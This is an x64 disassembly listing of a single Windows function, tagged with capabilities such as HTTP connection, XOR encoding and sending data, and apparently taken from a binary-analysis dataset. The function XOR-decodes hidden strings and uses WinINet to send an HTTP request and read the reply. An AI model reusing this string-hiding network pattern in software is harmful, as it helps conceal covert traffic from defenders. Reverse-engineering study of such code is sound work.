Function at 0x140050e60
Capabilities:
Connect to http server
Create http request
Encode data using xor
Read data from internet
Receive data
Send data
Send http request

Disassembly:
mov qword [rsp + 0x10], rbx
mov word [rsp + 0x18], r8w
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa090]
mov eax, 0xa190
call fcn.14008ec50
sub rsp, rax
mov rdi, r9
mov rbx, rdx
mov r13, rcx
mov dword [rsp + 0x6c], 1
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
xor esi, esi
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], 0xf
mov byte [rcx], sil
mov dword [rsp + 0x6c], 1
mov dword [rsp + 0x5a], 0xe7e0f0f0
mov dword [rsp + 0x5e], 0xf2e6caea
mov dword [rsp + 0x62], 0xbcbdbed4
mov word [rsp + 0x66], 0x90bb
mov ecx, esi
lea rdx, [rsp + 0x5a]
nop word [rax + rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0xd
jb 0x140050ef0
mov byte [rsp + 0x67], 0
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, [rsp + 0x5a]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r14, rax
mov dword [rsp + 0x70], 0x7d0
mov r9d, 4
lea r8, [rsp + 0x70]
lea edx, [r9 - 2]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetSetOptionA]
test r14, r14
jne 0x140050f4e
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r8d, 0x50
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], 3
lea rax, [0x1400a3abe]
mov qword [rsp + 0x20], rax
mov r9, rax
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r12, rax
test rax, rax
jne 0x140050f99
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [rsp + 0x45], 0xd6d1d0cb
mov dword [rsp + 0x49], 0xbba7b9a8
mov byte [rsp + 0x4d], 0x8b
mov ecx, esi
lea rdx, [rsp + 0x45]
nop word [rax + rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 8
jb 0x140050fc0
mov byte [rsp + 0x4d], 0
mov dword [rsp + 0x40], 0xd2d6cbd3
mov byte [rsp + 0x44], 0x87
mov ecx, esi
lea rdx, [rsp + 0x40]
nop dword [rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 4
jb 0x140050ff0
mov byte [rsp + 0x44], 0
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x45]
mov r8, rdi
lea rdx, [rsp + 0x40]
mov rcx, r12
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rsi, rax
test rax, rax
jne 0x140051054
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [rbp + 0xa0e0], 0x7d0
mov r9d, 4
lea r8, [rbp + 0xa0e0]
lea edx, [r9 + 1]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov r9d, 4
lea r8, [rbp + 0xa0e0]
lea edx, [r9 + 2]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rbx, qword [rbp + 0xa0f8]
mov r8, qword [rbx + 0x10]
mov rcx, rbx
mov r15, qword [rbx + 0x18]
cmp r15, 0xf
jbe 0x1400510ad
mov rcx, qword [rbx]
mov rdi, 0xffffffffffffffff
test r8, r8
jne 0x1400510cd
lea rdx, [0x1400a3abe]
call fcn.1400917e0
test eax, eax
je 0x140051181
mov r9, rbx
cmp r15, 0xf
jbe 0x1400510d9
mov r9, qword [rbx]
mov dword [rsp + 0x4e], 0xe3e3e1d1
mov dword [rsp + 0x52], 0xb0fbedf5
mov dword [rsp + 0x56], 0x8efea9ab
xor r15d, r15d
mov ecx, r15d
lea rdx, [rsp + 0x4e]
nop dword [rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0xb
jb 0x140051100
mov byte [rsp + 0x59], r15b
lea r8, [rsp + 0x4e]
mov edx, 0x104
lea rcx, [rbp - 0x80]
call fcn.14004b130
lea rax, [rbp - 0x80]
mov r8, rdi
nop
inc r8
cmp byte [rax + r8], r15b
jne 0x140051130
mov r9d, 0x20000000
lea rdx, [rbp - 0x80]
mov rcx, rsi
call qword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
test eax, eax
jne 0x14005116b
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov qword [rbx + 0x10], r15
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14005117c
mov rax, qword [rbx]
mov byte [rax], r15b
jmp 0x140051184
xor r15d, r15d
mov r9, qword [rbp + 0xa0f0]
mov rax, rdi
nop
inc rax
cmp byte [r9 + rax], 0
jne 0x140051190
mov dword [rsp + 0x20], eax
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x1400511cb
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor edx, edx
mov r8d, 0xa000
lea rcx, [rbp + 0x90]
call fcn.140090d00
mov dword [rsp + 0x68], r15d
lea r9, [rsp + 0x68]
mov r8d, 0xa000
lea rdx, [rbp + 0x90]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140051220
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14005124e
mov eax, dword [rsp + 0x68]
mov byte [rbp + rax + 0x90], 0
lea rax, [rbp + 0x90]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140051233
mov r8, rdi
lea rdx, [rbp + 0x90]
mov rcx, r13
call fcn.14005f310
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x1400512a0
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x14005129b
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400512cd
mov rcx, r8
call fcn.1400624fc
mov rax, r13
mov byte [rbx], 0
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], r15
mov rbx, qword [rsp + 0xa1d8]
add rsp, 0xa190
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1400788cc
int3